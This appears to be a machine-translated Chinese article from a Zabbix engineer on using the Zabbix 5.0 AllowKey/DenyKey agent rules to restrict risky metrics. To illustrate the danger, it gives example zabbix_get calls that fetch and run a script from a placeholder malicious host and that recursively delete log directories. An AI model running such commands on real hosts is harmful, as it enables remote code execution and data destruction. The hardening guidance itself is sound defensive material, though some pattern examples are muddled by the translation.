對代理端指標的黑名單和白名單支持
吉洪·烏斯科夫, 整合工程師, Zabbix
資料安全問題
Zabbix 5.0 有一個新功能,可讓您使用 Zabbix Agent 提高系統的安全性並取代舊參數 啟用遠端命令.
基於代理的系統安全性的改進源於代理可以執行大量潛在危險操作的事實。
- 代理可以從配置文件、日誌文件、密碼文件或任何其他文件中收集幾乎任何信息,包括機密或潛在危險信息。
例如,使用 zabbix_get 實用程序,您可以存取使用者清單、他們的主目錄、密碼檔案等。
使用 zabbix_get 實用程式存取數據
注. 僅當代理程式對對應文件具有讀取權限時才能檢索數據. 但是,例如,該文件 /etc/passwd/ 所有用戶都可讀。
- 該代理還可以執行潛在危險的命令。 例如,鍵 *系統.運行[]** 允許您在網路節點上執行任何遠端命令,包括從 Zabbix Web 介面執行腳本,這些腳本也在代理端執行命令。
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]
- 在 Linux 上,代理程式預設運行而無需 root 權限,而在 Windows 上,它作為系統服務運行,並且對檔案系統具有不受限制的存取權限。 因此,如果安裝後未更改 Zabbix Agent 參數,則代理程式可以存取註冊表、檔案系統並可以執行 WMI 查詢。
在早期版本中,參數 啟用遠端命令=0 只允許使用鍵 * 停用指標系統.運行[]** 並從 Web 介面執行腳本,但無法限制對各個文件的存取、允許或停用與代理程式一起安裝的各個金鑰,或限制各個參數的使用。
在早期版本的 Zabbix 中使用 EnableRemoteCommand 參數
允許鍵/拒絕鍵
Zabbix 5.0 透過提供允許和拒絕代理端指標的白名單和黑名單來幫助防止此類未經授權的存取。
在 Zabbix 5.0 中所有鍵,包括 *系統.運行[]** 已啟用,並且新增了兩個新的代理設定選項:
允許鍵= ——允許的檢查;
拒絕密鑰= ——禁止檢查;
其中 是帶有使用元字元 (*) 的參數的鍵名稱模式。
AllowKey 和 DenyKey 鍵可讓您根據特定模式允許或拒絕單一指標。 與其他配置參數不同,AllowKey/DenyKey 參數的數量不受限制。 這使您可以透過建立檢查樹(可執行金鑰)來清楚地定義代理程式在系統中可以執行的操作,其中它們的寫入順序起著非常重要的作用。
規則順序
規則按照其輸入設定檔的順序進行檢查。 在第一次匹配之前根據規則檢查密鑰,一旦資料元素的密鑰與模式匹配,就允許或拒絕。 此後,規則檢查將停止,其餘按鍵將被忽略。
因此,如果一個元素同時符合允許和拒絕規則,結果將取決於設定檔中第一個規則。
具有相同模式和金鑰的 2 種不同規則 vfs.檔案大小[/tmp/檔案]
AllowKey/DenyKey 鍵的使用順序:
- 確切的規則,
- 一般規則,
- 禁止性規則。
例如,如果您需要存取某個資料夾中的文件,則必須先允許存取它們,然後拒絕所有不屬於既定權限範圍的其他內容。 如果先使用拒絕規則,則將拒絕對該資料夾的存取。
正確順序
如果您需要允許 2 個實用程式透過 * 運行系統.運行[]**,並且將首先指定拒絕規則,實用程式將不會啟動,因為第一個模式將始終匹配任何鍵,並且後續規則將被忽略。
順序錯誤
圖案
基本規則
模式是帶有通配符的表達式。 元字元 (*) 符合特定位置處任意數量的任意字元。 元字元既可以用在鍵名中,也可以用在參數中。 例如,您可以用文字嚴格定義第一個參數, 並將後續的一個指定為通配符.
參數必須用方括號 [] 括起來。
system.run[*
- 不正確vfs.file*.txt]
- 不正確vfs.file.*[*]
- 正確的
使用通配符的範例。
- 在鍵名和參數中。 在這種情況下,該鍵不對應於不包含參數的類似鍵,因為在模式中我們表明我們希望接收鍵名稱的特定結尾和一組特定的參數。
- 如果該模式不使用方括號,則該模式允許所有不包含參數的鍵,並拒絕所有包含指定參數的鍵。
- 如果密鑰寫全,且參數指定為通配符,則將匹配任意參數的相似密鑰,而不會匹配不帶方括號的密鑰,即允許或拒絕。
參數填寫規則。
- 如果要使用具有參數的金鑰,則必須在設定檔中指定參數。 參數必須指定為元字元。 有必要仔細拒絕對任何文件的訪問,並考慮指標在不同拼字下可以提供哪些資訊 - 帶參數和不帶參數。
帶參數寫入密鑰的特點
- 如果使用參數指定鍵,但參數是可選的並且指定為元字符,則將解析不帶參數的鍵。 例如,如果您想要停用接收有關 CPU 負載的資訊並指定應停用 system.cpu.load[*] 鍵,請不要忘記不含參數的鍵將傳回平均負載值。
參數填寫規則
筆記
調整
- 有些規則無法由使用者更改,例如發現規則或代理自動註冊規則。 AllowKey/DenyKey 規則不影響以下參數:
- 主機名稱項目
- 主機元資料項
- 主機介面項
注. 如果管理員停用某個金鑰,則在查詢時,Zabbix 不會提供有關為何該指標或金鑰屬於 ' 類別的信息不支援'。 有關禁止執行遠端命令的資訊也不會顯示在代理程式記錄檔中。 這是出於安全原因,但如果指標由於某種原因落入不受支援的類別,則可能會使調試變得複雜.
- 您不應依賴任何特定順序來連接外部設定檔(例如,按字母順序)。
命令行實用程序
設定規則後,您需要確保所有內容都配置正確。
您可以使用以下三個選項之一:
- 在 Zabbix 中加入指標。
- 測試用 zabbix_agentd。 具有選項的 Zabbix 代理 -列印(-p) 顯示除配置不允許的鍵之外的所有鍵(預設允許的鍵)。 並帶有選項 -測試(-t) 對於禁止的密鑰將返回'不支援的項目密鑰“。
- 測試用 zabbix_get. 公用事業 zabbix_get 有選項 -k 將返回 'ZBX_NOTSUPPORTED:未知指標“。
允許或拒絕
您可以拒絕對文件的存取並進行驗證,例如,使用實用程序 zabbix_get對該文件的存取被拒絕。
**
注. 參數中的引號將被忽略.
在這種情況下,可以允許透過不同的路徑存取此類檔案。 例如,如果符號連結指向它。
建議檢查應用指定規則的各種選項,並考慮規避禁令的可能性。
問答
問題。 為什麼選擇如此複雜的模式及其自己的語言來描述規則、許可和禁止? 例如,為什麼無法使用 Zabbix 使用的正規表示式?
回答. 這是一個正規表示式效能問題,因為通常只有一個代理,並且它檢查大量指標。 正規表示式是一項相當繁重的操作,我們無法透過這種方式檢查數千個指標。 通配符 - 一種通用、廣泛使用且簡單的解決方案.
問題。 包含文件不是按字母順序包含的嗎?
回答. 據我所知,如果將規則分佈在不同的文件中,幾乎不可能預測規則的應用順序。 我建議將所有 AllowKey/DenyKey 規則收集在一個包含文件中,因為它們會相互交互,並包含此文件.
問題。 在 Zabbix 5.0 中,選項 '啟用遠端命令=配置文件中缺少',並且只有AllowKey/DenyKey可用?
回答。 恩,那就對了.
謝謝你的關注!
來源: www.habr.com